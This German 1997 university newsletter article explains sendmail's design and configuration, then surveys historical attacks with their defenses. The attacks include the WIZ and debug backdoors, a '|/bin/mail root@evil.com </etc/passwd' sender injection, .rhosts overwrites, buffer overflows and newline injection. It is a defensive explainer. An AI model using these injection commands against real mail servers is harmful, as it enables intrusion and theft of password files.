

## RECHNERNETZE

### Security Tools 8: sendmail - Dein Feind und Helfer

- [Wie funktioniert sendmail eigentlich?](#)
- [Kurzübersicht: Die Konfigurationsdatei von sendmail](#)
- [Die Benutzung von sendmail via Telnet-Port 25](#)
- [Was macht sendmail so gefährlich?](#)
- [Angriffe gegen sendmail](#)
- [Uralte Bugs](#)
- [Alte Bugs](#)
- [Neuere Bugs](#)
- [Alternativen](#)
- [Literatur](#)

### Challenge: Die Herausforderung

### Die Verschlüsselungsfreiheit

### Die Hamburger Erklärung

# Security Tools 8: sendmail - Dein Feind und Helfer

---

*Bernd Lehle/Oliver Reutter*

**Es gibt fast kein Programm, das so häufig in den Security-Schlagzeilen auftaucht wie `sendmail`. Oft verflucht ist es doch so verbreitet und nützlich, daß sich niemand so einfach von ihm trennen will. Was man sich mit diesem Hausgenossen einhandelt und wie man ihn unter Kontrolle hält, soll dieser Artikel kurz beleuchten.**

## Wie funktioniert sendmail eigentlich?

Anfang der 80er Jahre schrieb Eric Allman das Programm `sendmail` als Nachfolger zu `delivermail`, wobei `sendmail` von Anfang an als multifunktionales Mailverteilerprogramm vorgesehen war. So konnte man `sendmail` an verschiedene Übertragungswege wie beispielsweise SMTP, UUCP, X.400 oder BITNET einfach durch Änderung der Konfigurationsdatei `sendmail.cf` anpassen, ohne jedesmal eine neue Version zu kompilieren.

E-Mails via `sendmail` zu verschicken verläuft allerdings analog zur Beförderung mit der Schneckenpost: Zuerst wird ein Text mit einem Editor erstellt, der dann mit Hilfe eines MUA (Mail User Agent), einem Mailprogramm wie z.B. `elm` oder dem Mail Tool in Solaris, an den entsprechenden Empfänger geschickt wird. Dazu versieht der MUA die Mail mit einem Kopf, der Absender, Adresse, eine Überschrift und Adressen von Personen enthält, die eine Kopie der Nachricht bekommen sollen. Die Adresse besteht im einfachsten Fall aus `user@domain`. Die fertig generierte Nachricht wird dann dem MTA (Message Transfer Agent), in unserem Fall `sendmail`, übergeben. Er verpackt die Mail in einen elektronischen Umschlag, auf dem nur noch Absender- und Empfangsadresse stehen. Nun entscheidet der MTA anhand seiner Konfiguration und der Empfangsadresse welchen Weg die Nachricht nehmen soll. Im einfachsten Fall verschickt er sie mit Hilfe von SMTP (Simple Mail Transfer

Protocol) an den zuständigen Mail Host der Empfangsadresse. Dort nimmt dann ein weiterer MTA, wiederum meistens `sendmail`, die Mail entgegen und übergibt sie einem Auslieferungsprogramm, das die Nachricht in dem Mailordner des Empfängers ablegt. Von dort kann der Empfänger die Mail mit Hilfe seines lokalen MUA anschauen und bearbeiten.

## Kurzübersicht: Die Konfigurationsdatei von `sendmail`

Die Konfiguration von `sendmail` wird mit der Datei `sendmail.cf` vorgenommen. Sie besteht aus verschiedenen Abschnitten, in denen Makros, Klassen, Optionen und die berühmten-berühmten Rule Sets, die die Umformungen der Adressen vornehmen, definiert werden. Für eine schnelle und effiziente Verarbeitung der Konfigurationsdatei beginnen sämtliche Einstellungen mit einem eindeutigen Namen in der ersten Spalte. So beginnt beispielsweise eine Regel mit einem großen `R` in der ersten Spalte, ein Makro mit einem großen `D` oder ein ganzer Regelsatz mit einem großen `S`.

Makros können später wieder in Regeln auftauchen. Die am häufigsten vorkommenden Makros sind `$w` für den Kurznamen, `$m` für die Domain, `$j` für den vollen Rechnernamen oder `$=w` für alle Namen, unter denen der Rechner Mail empfängt. Manche Makros werden dabei erst zur Laufzeit bei der Bearbeitung einer Mail gültig, wie z.B. `$h` für den Host-Namen des Empfangsrechners oder `$b` für das aktuelle Datum. Mit den Makros kann man wiederum neue definieren. So erzeugt z.B. `Dj$w.$m` den vollen Rechnernamen: Kurzname und Domain, getrennt durch einen Punkt.

Mittels Regeln kann `sendmail` den passenden Mailer für eine gegebene Adresse auswählen und die Adressen von Sender und Empfänger den Bedürfnissen des entsprechenden Mailers anpassen.

Bis vor kurzem gab es nur eine Möglichkeit zu einem funktionstüchtigen Konfigurationsfile zu kommen: Man kopierte sich ein bereits bestehendes und editierte dann von Hand, bis `sendmail` das Gewünschte tat. Dabei konnten allerdings viele Fehler auftreten. So besteht eine Regel immer aus einer linken und einer rechten Seite, die durch einen Tabulator getrennt sind. Wenn nun der Editor beim Abspeichern aus dem Tabulator eine entsprechende Anzahl von Leerzeichen machte, war das Konfigurationsfile für `sendmail` unbrauchbar.

Seit der Versionen 8.X ist es möglich das Konfigurationsfile `sendmail.cf` auch mit Hilfe eines Präprozessors (`m4`) und vordefinierter Module zu erstellen. Der Arbeitsaufwand für eine SUN am RUS wird z.B. auf folgende Zeilen in einer Datei `sendmail.mc` reduziert:

```
OSTYPE(sunos4.1)dnl
DOMAIN(generic)dnl
MAILER(local)dnl
MAILER(smtp)dnl
define(`SMART_HOST', mail.uni-stuttgart.de)dnl
```

Damit verliert die Konfiguration von `sendmail` bzw. `sendmail.cf` ihren Schrecken und die so gewonnene Zeit kann sinnvoller verwendet werden.

## Die Benutzung von `sendmail` via Telnet-Port 25

`sendmail` wird nicht nur von den MUAs genutzt, Sie können Mails auch direkt an das Programm schicken. Dabei ist es egal, ob Sie einen `sendmail` benutzt, der auf Ihrer Workstation läuft, oder einen `sendmail` einer beliebigen Maschine. Nicht egal sind Absender und Adresse, die in jedem Fall gültig sein müssen.

Mit den Kommandos `vrfy` und `expn`, beide in der direkten `telnet`-Verbindung eingetippt, kann der Login-Name oder der Alias eines gültigen Accounts herausgefunden werden. Nachfolgend eine kleine Beispiel-Session mit `sendmail`:

```
mysun> telnet mysun 25
Connected to mysun.
Escape character is '^]'.
220 mysun.test.edu Sendmail SMI-8.6/SMI-SVR4/BelWue-1.0 ready at Fri, 14 Mar 1997
10:35:54 +0100
help
214-Commands:
214- HELO MAIL RCPT DATA RSET
214- NOOP QUIT HELP VRFY EXPN
214-For more info use "HELP <topic>".
214-smtp
214-To report bugs in the implementation contact Sun Microsystems
214-Technical Support.
214-For local information contact postmaster at this site.
214 End of HELP info
help vrfy
214-VRFY <recipient>
214- Not implemented to protocol. Gives some sexy
214- information.
214 End of HELP info
vrfy oli
250 Oliver Reutter <oli@mysun.test.edu>
help expn
214-EXPN <recipient>
214- Same as VRFY in this implementation.
214 End of HELP info
expn oli
250 Oliver Reutter <oli@mysun.test.edu>
helo
250 mysun.test.edu Hello mysun [129.69.50.12], pleased to meet you
mail from:Oliver.Reutter@rus.uni-stuttgart.de
250 Oliver.Reutter@rus.uni-stuttgart.de... Sender ok
rcpt to:Bernd.Lehle@rus.uni-stuttgart.de
250 Bernd.Lehle@rus.uni-stuttgart.de... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hi Bernd,
nur ein kleiner Test sendmail ueber Telnet Port 25 zu benutzen
und Tschuess
Oli.
.250 LAA02924 Message accepted for delivery
quit
221 mysun.test.edu closing connection
Connection closed by foreign host.
mysun>
```

## Was macht sendmail so gefährlich?

Die bisher beschriebenen Eigenschaften hören sich eigentlich nicht sonderlich nach Gefahr an. Sie ist aber trotzdem in den folgenden beiden Punkten begründet:

1. `sendmail` ist ein einziger Prozeß, der im allgemeinen mit Root-Privilegien läuft, da er in die Spool-Verzeichnisse schreiben und sich den privilegierten SMTP-Port 25 sichern muß. Da es ein Setuid Bit besitzt kann jeder Benutzer es aufrufen kann, wobei es dann unter Root-Vorrechten läuft. Dies geschieht immer beim Absenden einer Mail, die von `sendmail` erst in das ausschließlich für Root schreibbare Spool-Verzeichnis kopiert werden muß. Technisch besteht zwar die Möglichkeit `sendmail` unter einer weniger bevorzugten Benutzererkennung laufen zu lassen, was aber viele unschöne Kompromisse erforderlich macht.
2. `sendmail` ist außerordentlich komplex. Es bietet Dutzende von Möglichkeiten Mails

weiterzuverarbeiten, macht es dadurch aber anfällig gegen Programmierfehler. In den alten Versionen wurde beim Programmieren wenig Wert auf Sicherheit gelegt, so daß die neuen Features erst nach Leistung und Bequemlichkeit, dann erst nach Sicherheit beurteilt wurden.

## Angriffe gegen sendmail

Nachdem wir nun die guten Eigenschaften von `sendmail` behandelt haben, möchten wir nachfolgend aufzeigen, was `sendmail` für Probleme machen kann. Sehen Sie es bitte nicht als Anleitung zum Hacken, sondern als Demonstration, wie diese Probleme aussehen und wie schnell sie ausgenutzt werden können. Wer `sendmail` hacken möchte, findet im Internet genügend Anleitungen oder fertige Programme, die ihm das Leben leichter machen.

Bei einigen Angriffen wird vorgegeben, wie man sie abwehren kann. Anderen Sicherheitslöcher sind nur durch das Einspielen einer neuen Version zu stopfen. Sollten Sie auf Ihren Systemen `sendmail` in der Version 5 entdecken, raten wir Ihnen zu einem sofortigen Upgrade; als sicher gilt in aller Regel immer nur die neueste Version. Zum Zeitpunkt der Drucklegung war dies die 8.8.5.

## Uralte Bugs

Zu den ältesten und einfachsten Bugs zählen `WIZ` und `debug`. Sie sollten eigentlich in der Praxis nicht mehr vorkommen, außer auf Maschinen, die seit Jahren nicht mehr ge-wartet wurden.

- Bei **WIZ** öffnet man mit `telnet` eine Verbindung zum SMTP-Port 25 und gibt als Kommando `wiz` ein. `sendmail` antwortet mit `Pass on mighty wizard` und man gelangt in eine Root Shell, was wohl ursprünglich für `debug`-Zwecke ge-dacht war. Abstellen kann man das Problem einfach, indem man den Eintrag `ow` in `sendmail.cf` entfernt. Wenn hinter `ow` ein verschlüsseltes Passwort, wie z.B. in `/etc/passwd`, steht, fragt `sendmail` zuerst nach diesem Passwort.
- **debug** funktioniert ähnlich, man muß sich lediglich die Mühe machen, die Kommandos, die man als Root ausführen will, als Mail einzugeben. Dies wird dann direkt an Port 25 geleitet, wobei zuerst das Kommando `debug` abgesetzt wird. Antwortet `sendmail` mit `200 Debug set`, reicht `!/bin/sh` als Empfänger der Mail aus. Sie wird als `root` oder der jeweiligen User-ID unter der `sendmail` läuft, ausgeführt. Übrigens war dieses Loch eines der vier, mit denen der Internet-Wurm von Robert Morris 1988 einen beträchtlichen Teil des damaligen Internet für eine Woche lahmlegte.

## Alte Bugs

Die folgenden Löcher finden sich in einigen älteren Versionen der fünften Generation (5.5X und 5.6X) von `sendmail`. Die Angriffe sind in [\[1\]](#) genau dokumentiert. Auf dem Campus hatten wir schon einige Maschinen, die Opfer dieser Angriffe wurden.

- **uudecode-Bug:** Auf einigen Systemen ist in `/etc/aliases` ein Eintrag vorhanden, der es erlaubt Mails automatisch an den Befehl `uudecode` zu versenden. Wenn man eine Datei mit vollem Pfadnamen `uuencoded` an den Aliasname `decode` verschickt, wird diese Datei wieder mit vollem Pfadnamen ausgepackt. Die angewandten Schreibrechte - oft ist es nicht `root` sondern `daemon` - variieren. Einen erfahrenen Hacker kostet es allerdings nicht viel Zeit hiervon auf `root` zu kommen. Als Schutz reicht das Entfernen des Aliases aus, der auf `uudecode` zeigt. Übrigens sind auf einigen Systemen die Da-teien `/etc/aliases.pag` und `/etc/aliases.dir` für jeden schreibbar, so daß nach Ausführen von `newaliases` der Eintrag wieder eingeschmuggelt werden kann.
- **Overwrite Files:** Wie bereits ausgeführt, kann man versuchen Mails direkt an Kommandos zu schicken. Zudem erlauben es einige Versionen von `sendmail`, vor Version 5.59, Mails direkt in Dateien zu schreiben. Unter Umständen reicht die Angabe von `/home/user/.rhosts` als

Empfänger schon aus, um den Inhalt der Mail in diese Datei zu schreiben und damit den Account dieses Be-nutzers zu öffnen.

- **Program Pipe (Easy Version):** Anstatt eine Mail, die ein Kommando enthält, an eine Shell zu schicken, kann man auch versuchen, die Kommandos mit `mail from: "edblbase;|/bin/mail root@evil.com </etc/passwd"` direkt in den Absender zu schreiben. Wird der Absender akzeptiert, ist der Empfänger beliebig, die Passwortdatei wird an `root@evil.com` geschickt. Diese Fehler traten bei `sendmail` häufig in der Version 5.55 auf.
- **Program Pipe (Sophisticated Version):** Die Möglichkeiten Mails direkt an Programme zu schicken wurden bald eingeschränkt. Neuere Versionen von `sendmail` reagieren darauf mit `Cannot send directly to program`. Um sie auszutricksen, konnte man darauf vertrauen, daß die Abfrage nur halbherzig implementiert wurde und andere Felder außer Absender und Empfänger nicht geprüft wurden. So konnten bei 5.6Xer Versionen auch noch Mails an Kommandos verschickt werden, indem man die entsprechenden Befehle nicht bei `mail from:` sondern bei `reply to:` oder `errors to:` eintrug und zusätzlich einen Fehler provozierte, der den entsprechende Eintrag las, ohne ihn wie bei Absender oder Empfänger auf Shell-Befehle zu testen. Eine besonders bösartige Version dieser Angriffe ist uns auf dem Campus schon zweimal begegnet. Dabei wurde in einer Mail ein komplettes kleines Server-Programm im C Source Code verschickt. Die Kommandozeilen enthielten Be-fehle, mit denen der C Code vom Header der Mail getrennt, dann kompiliert und gestartet wurde. Das Ergebnis war ein Programm, das auf einem bestimmten Port lauschte und bei Verbindungen an diesen Port von außen als Kommandozeilen-Interface zu einer Root Shell wirkte.

## Neuere Bugs

Mit dem Sprung auf die Versionsfamilie 8 wurden alle bisher beschriebenen Bugs ausgeräumt. Bedingt durch die Komplexität von `sendmail` handelte sich der Autor natürlich neue Bugs ein, die nur etwas komplizierter zu beseitigen sind:

- **Buffer Overflow:** Ein Problem, das bei sehr vielen Programmen auftritt, die Eingaben aus dem Netz annehmen und in Speicherstellen fester Länge ablegen ist der Buffer Overflow. Die Programmiersprache C bietet bei Verwendung von Bibliotheksfunktionen, wie z.B. `gets()`, keine Möglichkeit, vor dem Ablegen der Eingabe im Speicher nachzuprüfen, ob dort genug Platz reserviert wurde. Ist die Eingabe länger als der reservierte Speicher, werden dort, wo andere Daten stehen, Speicherstellen überschrieben. Im einfachsten Fall gehen dadurch nur Daten verloren, irgendwann stößt man beim Überschreiben allerdings auf Bereiche in denen Programm-Code steht. Durch exaktes Auszählen der Bytes im Speicher ist es so möglich in der Eingabe Maschinen-Code zu verstecken, der nach dem Buffer Overflow genau an der Stelle im Speicher steht, wo später der Prozessor Programm-Code erwartet. Somit kann extern jeder beliebige Maschinen-Code ausgeführt werden. Diese Angriffe sind nicht einfach und erfordern genaue Kenntnis der verwendeten Prozessorarchitektur, allerdings sind fertige Programme, die solche Angriffe automatisch ausführen weit verbreitet. `sendmail` ist dabei jedoch nicht das einzige Opfer dieser An-griffe; vorsichtige Schätzungen gehen davon aus, daß rund ein Drittel aller Programme, die aus dem Netz Eingaben akzeptieren, irgendwo eine solche Schwachstelle haben.
- **Command Line Options:** `sendmail` hat eine Unzahl von Optionen auf der Kommandozeile. Viele davon beziehen sich auf Konfigurations- oder andere Arbeitsdateien. Da `sendmail` ein Setuid Bit hat, kann es auf diese Dateien mit Root-Rechten zugreifen, wenn ein normaler Benutzer es von der Kommandozeile aus aufruft. Wenn `sendmail` nun mit Dateien gefüttert wird, die es nicht versteht, aber als Konfiguration interpretieren soll, kommt es zu Fehlermeldungen. Oft sagt das Programm genau, was es nicht versteht und listet fehlerhaft interpretierte Zeilen auf. Wenn man dasselbe mit dem Shadow-Passwort-File oder einer anderen Datei macht, die eigentlich nur Root lesen sollte, kann man leicht an Information gelangen, die eigentlich verschlossen bleiben sollte oder Dateien überschreiben, auf die keine Zugriffsrechte

bestehen.

- **New Lines:** Durch das Einstreuen von Sonderzeichen in der Empfängeradresse, die dann nicht korrekt gefiltert werden, wie z.B. Zeilenvorschub, ist es möglich Kommandos an bestimmten Stellen unterzubringen, so daß `sendmail` sie später ausführt. Dies ist besonders gefährlich, wenn die Mail nicht direkt in den Mail-Speicher, sondern zum Filtern erst an ein Programm oder Shell Script, wie z.B. bei `procmail`, geschickt wird. Die Versionen ab 8.6.10 gelten in dieser Beziehung als sicher.
- **Ident-Daemon:** Nachdem `sendmail` abgewöhnt wurde, sich auf die Gutartigkeit des Benutzers zu verlassen, blieb noch sein ausnutzbares Vertrauen gegenüber den Netzwerkdiensten. Die Version 8.6.10 arbeitet auf dieser Basis mit dem Ident Daemon, der auf Anfrage den Eigentümer einer Netzverbindung an einem Rechner bekanntgibt. Dies macht es durch Imitieren des Daemons möglich `sendmail` genau die Sonderzeichen anzufüttern, die es seit der letzten Version als Mail nicht mehr akzeptierte.

Wir könnten hier noch Dutzende weiterer Angriffe auflisten. Vorerst sollte die genannten Beispiele genügen, um einen Eindruck zu erhalten, wie verwundbar ein Programm werden kann, wenn es ein gewisses Maß an Komplexität übersteigt.

An dieser Stelle drängt sich die berechtigte Frage auf, was man als Administrator tun kann, um diesem Rüstungswettlauf zu entkommen, seinen Benutzern aber trotzdem einen verlässlichen E-Mail-Dienst zu sichern. Wenn man bei `sendmail` als Mail Transfer Agent bleiben will, ist der regelmäßige Update wohl die einzig gangbare Alternative. Die neueste Version von `sendmail` können Sie über `ftp.sendmail.org` beziehen. In Stuttgart wird `sendmail` relativ aktuell unter `/pub/unix/comm/mail/sendmail` gespiegelt.

Ein nettes kleines Tool, das einige Unschönheiten filtern kann, bevor sie Unheil anrichten können, ist `sendmail restricted shell (smrsh)`. Es wird alternativ zu `/bin/sh` in `sendmail.cf` eingetragen. Das Tool ist im Vergleich zu `sendmail` sehr einfach geschrieben. In knapp 200 Zeilen C Code wird die Eingabe, die normalerweise an `/bin/sh` ginge, auf verdächtige Zeichen hin geprüft. Weitergegeben wird die Eingabe nur an eine kleine Anzahl konfigurierbarer Programme, die in einem bestimmten Verzeichnis stehen müssen, so daß der Mißbrauch mächtiger Programme ausgeschlossen werden kann. Die `smrsh` befindet sich unter `/pub/unix/security` ebenfalls auf dem Stuttgarter ftp-Server. Seit Neuestem ist `smrsh` auch der `sendmail`-Distribution beigelegt.

## Alternativen

Natürlich gibt es auch noch einige Alternativen zu `sendmail`, die allerdings die Installation eines völlig anderen Mail Transfer Agents erfordern. Am RUS gibt es bislang nur wenige Erfahrungswerte hierzu; wir können daher nur auf grobe Unterschiede eingehen: Am weitesten verbreitete ist derzeit `smail`, das Sie über `ftp.uni-stuttgart.de` unter `/pub/unix/comm/mail/smail` erhalten können. Seine neueste Version ist 3.2. `smail` ist aber bei weitem nicht so umfangreich wie `sendmail`, wodurch es für große Mail Hosts mit umfangreichen Netzen und Umschreiberegeln für mehrere Mail-Protokolle eher schlechter geeignet ist. Als Alternative für die Standard-UNIX-Workstation ist es allerdings ausreichend, Sicherheitsprobleme sind kaum bekannt. Die Version 3.1.28 hatte einen Bug, der einen lokalen Account erforderte. Das weitgehende Fehlen von Sicherheitslücken liegt hauptsächlich daran, daß die halbe Welt nach solchen Lücken in `sendmail` sucht, während `smail` ein eher bescheidenes Dasein führt; zu konfigurieren ist es wesentlich einfacher als `sendmail`, es existiert auch eine Weiterentwicklung namens `exim`. Sie finden es unter `ftp.belwue.de:/pub/unix`

Ein Message Transfer Agent mit ganz anderem Design als `sendmail` ist `qmail`. Hier wird der monolithische Prozeß in kleine Daemons aufgespalten, die alle nur genau die Privilegien haben, die sie unbedingt brauchen. Die Sicherheitsprinzipien KISS (Keep It Safe and Simple) und Least Possible Privilege sind somit gut erfüllt. Es gibt bisher kei-ne Berichte über Sicherheitsprobleme. `qmail` hat

nach Angaben seiner wenigen Benutzer lediglich einige gewöhnungsbedürftige Eigenheiten. `qmail` können Sie ebenfalls unter `ftp.belwue.de:/pub/unix` finden.

Für eine normale Campus-Workstation sind `smail` oder `qmail` völlig ausreichend. Für Umgebungen, in denen die Sicherheit eine etwas größere Rolle spielt (Mail Host hinter oder auf Firewall, etc.) sind `sendmail` oder `smail` bis auf wenige Spezialversionen allerdings nicht empfehlenswert. Die großen Hersteller von Firewall Software verwenden entweder Eigenentwicklungen oder handverlesene, selbstgepflegte Versionen von `sendmail` auf ihren Maschinen. Für den weniger gut ausgestatteten Administrator bietet sich das Programm `smap` aus dem Public Domain Firewall Toolkit `fwtk` an. Es stellt eine Art Miniatur-`sendmail` dar, die außer dem Annehmen von Mails via SMTP an Port 25 zu nichts in der Lage ist. Die Mails können dann hinter dem Firewall in spezielle Bereiche gelegt, speziell gefiltert oder einfach mit `sendmail` weiter verschickt werden. Hinter einem Firewall verliert `sendmail` viel von seiner Angreifbarkeit, da die meisten dargestellten Attacken entweder einen direkten Netzzugriff auf `sendmail` oder einen lokalen Account erfordern.

## Literatur

[1] Farmer, D., Venema, V.: Improving the Security of Your Site by Breaking Into it, Bestandteil der Dokumentation von SATAN, aber auch alleine im Internet erhältlich

[2] Costales, B.: Sendmail, O` Reilly, 1993

## Ansprechpartner in sicherheitsrelevanten Fragen

[sneakers@rus.uni-stuttgart.de](mailto:sneakers@rus.uni-stuttgart.de)

[dfncert-request@cert.dfn.de](mailto:dfncert-request@cert.dfn.de)

Bernd Lehle, NA-5531

E-Mail: [lehle@rus.uni-stuttgart.de](mailto:lehle@rus.uni-stuttgart.de)

Oliver Reutter, NA-4513

E-Mail: [Oliver.Reutter@rus.uni-stuttgart.de](mailto:Oliver.Reutter@rus.uni-stuttgart.de)

---

# Challenge: Die Herausforderung

*Lothar Ehnis/Helmut Springer*

**Die Geheim- oder die Zeichensprache, bei der ein nebenstehender Dritter die Unterhaltung der Kommunizierenden nicht verstehen kann, hat Menschen schon immer fasziniert. Jedoch haben derart Kommunizierende auch schon immer einen gewissen negativen Verdacht auf sich gelenkt. Besonders Regierungen, Behörden und auch Vorgesetzten kann solches Tun ein Dorn im Auge sein.**

Heute, im Zeitalter der Informations- und Kommunikationstechnik, hat sich an dieser Einstellung nichts geändert und verschiedene Institutionen wittern noch immer Verrat hinter verschlüsselten Informationen, obwohl kryptographische Verfahren vor allem im Banken- und Wirtschaftsbereich aus Vertraulichkeitsgründen üblich sind.